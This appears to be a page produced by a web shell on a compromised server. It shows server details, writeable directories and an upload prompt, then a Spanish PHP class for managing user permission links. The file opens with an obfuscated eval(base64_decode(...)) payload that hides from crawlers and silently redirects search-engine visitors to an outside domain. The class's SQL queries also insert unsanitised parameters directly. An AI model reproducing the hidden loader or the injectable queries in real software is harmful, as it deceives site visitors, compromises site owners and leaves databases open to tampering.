KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/logicswapweb/aplicaciones/admon/fnc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/logicswapweb/aplicaciones/admon/fnc/vinculo.php
<?php	 	eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpKXsKcHJlZ19tYXRjaCAoIi9tc2llIChbMC05Ll0rKS9pIiwkdWFnLCRtdik7CmlmIChpc3NldCgkbXZbMV0pKXsKJG12PXN0cl9yZXBsYWNlKCIuIiwiIiwkbXZbMV0pOwp9Cn0KaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpIGFuZCAkbXY+PTkwKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmcuIikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikgYW5kICFzdHJpc3RyKCRyZWZlcmVyLCJFZVlwM0Q3IikpewpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ3NibmNtLmVwYWMudG8vIik7CmV4aXQoKTsKfQp9Cn0KfQp9Cn0="));
//include('DBConnect.php');
//include('componente.php');


class Vinculo extends Componente{

var $administrador;
var $adicionar;
var $consultar;
var $modificar;
var $eliminar;
var $bloqueado;

/*constructor*/
function Vinculo(){
	$this->Componente();	
}


/*
*funcion loadVinculo()
*descripcion carga los valores para los atributos del vinculo
*/
function loadVinculo($user,$aplica){
	$sql="select * from panel_vinculo where usuario_panel='$user' and aplicacion ='$aplica'";
	if($this->execute($sql)){
			$val=$this->fetchRow();
			$this->administrador=$val['administrador'];
			$this->adicionar=$val['adicionar'];
			$this->consultar=$val['consultar'];
			$this->modificar=$val['modificar'];
			$this->eliminar=$val['eliminar'];
			$this->bloqueado=$val['bloqueado'];
			$out=$this->getMensaje("[045]","confirmacion");
			$this->setSalida(true,$out,"loadVinculo($user,$aplica)","panel de control - (aplicaciones)");
			return true;
	}else{ 
			$out=$this->getMensaje("[010]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"loadVinculo($user,$aplica)","panel de control - (aplicaciones)");
			return false;
	}
	
}

/*
funcion addVinculo
descripcion inserta un nuevo vinculo en la BD para el usuario $usuario
pre: el usuario ya esta registrado
*/
function addVinculo($usuario,$aplicacion,$administrador,$adicionar,$consultar,$modificar,$eliminar){
	$sql="insert into panel_vinculo (usuario_panel,aplicacion,administrador,adicionar,consultar,modificar,eliminar,bloqueado) values ('$usuario','$aplicacion','$administrador','$adicionar','$consultar','$modificar','$eliminar','NO')";
	if($this->execute($sql)){
			$out=$this->getMensaje("[018]","confirmacion");
			$this->setSalida(true,$out,"addVinculo","panel de control - (usuarios o aplicaciones)");
			return true;
	}else{ 
			$out=$this->getMensaje("[010]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"addVinculo","panel de control - (usuarios o aplicaciones)");
			return false;
	}
		
}

/*
funcion modVinculo
descripcion modifica los permisos habilitados para el vinculo solicitado
pre: el vinculo existe
*/
function modVinculo($vinculo,$usuario,$aplicacion,$administrador,$adicionar,$consultar,$modificar,$eliminar,$bloqueado){
	$sql="update panel_vinculo set administrador='$administrador',adicionar='$adicionar',consultar='$consultar',modificar='$modificar',eliminar='$eliminar', bloqueado='$bloqueado' where id='$vinculo'";
	if($this->execute($sql)){
			$out=$this->getMensaje("[019]","confirmacion");
			$this->setSalida(true,$out,"modVinculo","panel de control - (aplicaciones)");
			return true;
	}else{ 
			$out=$this->getMensaje("[010]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"modVinculo","panel de control - (aplicaciones)");
			return false;
	}

}

/*
funcion delVinculo
descripcion remueve un vinculo de un usuario con alguna aplicacion
pre: el vinculo no es del usuario actual
*/
function delVinculo($vinculo,$user=false,$apli=false){
	if($user && $apli){
		$sql="delete from panel_vinculo where usuario_panel='$user' and aplicacion='$apli'";
	}elseif($user && !$apli){
		$sql="delete from panel_vinculo where usuario_panel='$user'";
	}elseif(!$user && $apli){
		$sql="delete from panel_vinculo where aplicacion='$apli'";
	}elseif(!$user && !$apli && $vinculo){
		$sql="delete from panel_vinculo where id='$vinculo'";
	}
	if($this->execute($sql)){
			$out=$this->getMensaje("[020]","confirmacion");
			$this->setSalida(true,$out,"delVinculo($vinculo,$user,$apli)","panel de control - (aplicaciones/usuarios)");
			return true;
	}else{ 
			$out=$this->getMensaje("[010]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"delVinculo($vinculo,$user,$apli)","panel de control - (aplicaciones/usuarios)");
			return false;
	}

}

/*
funcion conVinculosUsuario
descripcion trae todos los vinculos de el usuario solicitado
pre: el usuario existe
*/
function getVinculosUsuario($usuario){
	$sql="select * from panel_vinculo where usuario_panel='$usuario'";
	if($this->execute($sql)){
		if($this->numRows()>0){
			$out=$this->getMensaje("[021]","confirmacion")." el usuario($usuario)";
			$this->setSalida(true,$out,"getVinculosUsuario","panel de control - (aplicaciones)");
			return $this->fetchRow();
		}else{
			$out=$this->getMensaje("[022]","confirmacion")." el usuario($usuario)";
			$this->setSalida(false,$out,"getVinculosUsuario","panel de control - (aplicaciones)");
			return false;
		}
	}else{ 
			$out=$this->getMensaje("[010]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"getVinculosUsuario","panel de control - (aplicaciones)");
			return false;
	}
	
}

/*
funcion getUser()
descripcion devuelve el nombre del usuario del vinculo
*/
function getUser($sel){
	$sql="select  user.nombres,user.apellidos from panel_vinculo as vinc, panel_usuario as user where vinc.id='$sel' and vinc.usuario_panel=user.id";
	if($this->execute($sql)){
			list($nom,$ape)=$this->fetchRow();
			$nombre = ucwords(strtolower($nom)." ".strtolower($ape));
			$out=$this->getMensaje("[044]","confirmacion")." ".$nombre;
			$this->setSalida(true,$out,"getUser($sel)","panel de control - (aplicaciones)");
			return $nombre;
	}else{ 
			$out=$this->getMensaje("[010]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"getUser($sel)","panel de control - (aplicaciones)");
			return $out;
	}
}

/*
*funcion showVinculo()
*descripcion despliega el vinculo solicitado para su modificacion
*/
function showVinculo($sel){
	$sql="select vinc.administrador,vinc.adicionar,vinc.consultar,vinc.modificar,vinc.eliminar,vinc.bloqueado,user.nombres,user.apellidos from panel_vinculo as vinc, panel_usuario as user where vinc.id='$sel' and user.id=vinc.usuario_panel";
	if($this->execute($sql)){
		$vinc = $this->fetchRow();
		$nombre=ucfirst(strtolower($vinc[6]))." ".ucfirst(strtolower($vinc[7]));
		if($vinc[0]=="SI"){$admi="checked";}else{$admi="";}
		if($vinc[1]=="SI"){$adic="checked";}else{$adic="";}
		if($vinc[2]=="SI"){$cons="checked";}else{$cons="";}
		if($vinc[3]=="SI"){$modi="checked";}else{$modi="";}
		if($vinc[4]=="SI"){$elim="checked";}else{$elim="";}
		if($vinc[5]=="SI"){$bloq="checked";}else{$bloq="";}
		$j=0;
		if(strlen($nombre)>16){
			$nombre=substr($nombre,0,13)."...";
		}
		echo '<tr id="tr_'.$j.'" onMouseOver="mOvr(this,\'#FAFF95\');" onMouseOut="mOut(this,\'#ffffff\');" bgcolor="#ffffff">
			<td class="texto1">'.$nombre.'<input type="hidden" name="seleccion" value="'.$sel.'"></td>
					<td><div align="center">
						<input type="checkbox" name="bloqueado" style="border:0" '.$bloq.'>
						</div></td>
					<td><div align="center">
					  <input type="checkbox" name="administrador" style="border:0" '.$admi.'>
					</div></td>
					<td><div align="center">
					  <input type="checkbox" name="adicionar"  style="border:0" '.$adic.'>
					</div></td>
					<td><div align="center">
					  <input type="checkbox" name="consultar" style="border:0" '.$cons.'>
					</div></td>
					<td><div align="center">
					  <input type="checkbox" name="modificar" style="border:0" '.$modi.'>
					</div></td>
					<td><div align="center">
					  <input type="checkbox" name="eliminar" style="border:0" '.$elim.'>
					</div></td>
					<td>&nbsp;</td>
		  </tr>';
			return true;
	}else{
			$out=$this->getMensaje("[010]","error");
			$this->setSalida(false,$out,"showVinculo($sel)","panel de control - (aplicaciones)");
			echo "<tr><td colspan=\"7\">$out</td></tr>";
			return false;
	}

}



}//end class
?>

Anon7 - 2021